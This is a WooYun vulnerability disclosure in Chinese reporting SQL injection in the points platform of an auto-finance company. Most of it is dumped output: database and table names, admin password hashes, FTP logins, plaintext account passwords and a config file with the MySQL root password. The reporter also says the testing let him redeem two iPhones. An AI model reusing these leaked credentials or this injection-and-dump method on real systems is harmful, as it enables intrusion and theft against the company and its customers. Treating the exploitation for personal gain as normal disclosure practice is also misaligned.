WooYun.org

为了保护厂商
东风标致雪铁龙汽车金融有限公司
名字这里
因为涉及到金钱问题，由于做测试换了两台苹果，请勿水表，你们后台修改即可。
由于是SQL,注射，涉及到积分数据库问题，
注入地址：http://**.**.**.**/ajax.php?act=verify_ecv&ecvsn=1 (GET)
存在的库
[*] dadalipin
[*] information_schema
[*] mysql
[*] publictest 积分平台 think-php的
[*] wdcpdb 这里涉及到一个主机 **.**.**.**
库publictest存在表
Database: publictest
[75 tables]
+-------------------------+
| think_admin |
| think_adv |
| think_article |
| think_article_cate |
| think_bfeat |
| think_change_info |
| think_conf |
| think_deal |
| think_deal_attr |
| think_deal_cart |
| think_deal_cate |
| think_deal_city |
| think_deal_coupon |
| think_deal_gallery |
| think_deal_msg_list |
| think_deal_order |
| think_deal_order_item |
| think_deal_order_log |
| think_dealer |
| think_delivery |
| think_delivery_fee |
| think_delivery_notice |
| think_delivery_region |
| think_dklist |
| think_ecv |
| think_ecv_type |
| think_feat |
| think_feat_type |
| think_goods_type |
| think_goods_type_attr |
| think_group_info |
| think_link |
| think_link_group |
| think_log |
| think_log_trival |
| think_log_trival_copy |
| think_mail_list |
| think_mail_server |
| think_message |
| think_message_type |
| think_mobile_list |
| think_msg_template |
| think_nav |
| think_order |
| think_order_view |
| think_payment |
| think_payment_notice |
| think_penetration |
| think_promote |
| think_promote_msg |
| think_promote_msg_list |
| think_referrals |
| think_role |
| think_role_access |
| think_role_group |
| think_role_module |
| think_role_nav |
| think_role_node |
| think_sms |
| think_supplier |
| think_supplier_account |
| think_supplier_location |
| think_user |
| think_user_area |
| think_user_consignee |
| think_user_email |
| think_user_extend |
| think_user_field |
| think_user_level |
| think_user_log |
| think_user_privance |
| think_vote |
| think_vote_ask |
| think_vote_result |
| think_weight_unit |
+-------------------------+
管理员
Table: think_admin
[4 entries]
+----+---------+----------+-----------------+-----------+-----------+------------+----------------------------------+
| id | role_id | adm_name | login_ip | is_delete | is_effect | login_time | adm_password |
+----+---------+----------+-----------------+-----------+-----------+------------+----------------------------------+
| 1 | 4 | admin | **.**.**.** | 0 | 1 | 1442878953 | 14407f2600c5cab7016a2d91c1b55fe1 |
| 11 | 5 | admin2 | **.**.**.** | 0 | 1 | 1429077923 | 200820e3227815ed1756a6b531e7e0d2 |
| 10 | 5 | afcadmin | **.**.**.** | 0 | 1 | 1419447677 | 919c7cdfcfbda5afcdc549824f527c5f |
| 8 | 5 | admin1 | **.**.**.** | 0 | 1 | 1442854910 | f03b14ba1fa1cf61a519859db0207d41 |
+----+---------+----------+-----------------+-----------+-----------+------------+----------------------------------+
大概10000多个代理商

这个数据库存在FTP密码
Database: wdcpdb
Table: wd_host

FTP
**.**.**.**   plh     plh
**.**.**.**   ftpdpcafc   dpcafc

现在看前台登陆用户账号

后台

相关账户
前台
60020NFI Jn161121
60560ASM Wei124151
后台
admin admin521tt
相关配置文件

<?php
return array(
'DB_HOST'=>'**.**.**.**',
'DB_NAME'=>'publictest',
'DB_USER'=>'root',
'DB_PWD'=>'521rxt',
'DB_PORT'=>'3306',
'DB_PREFIX'=>'think_',
);
?>

FTP权限限制得很死，不过这个不影响，并没有深入
厂商请重视，对于以兑换奖品你们取消，要发给我我也要，哈哈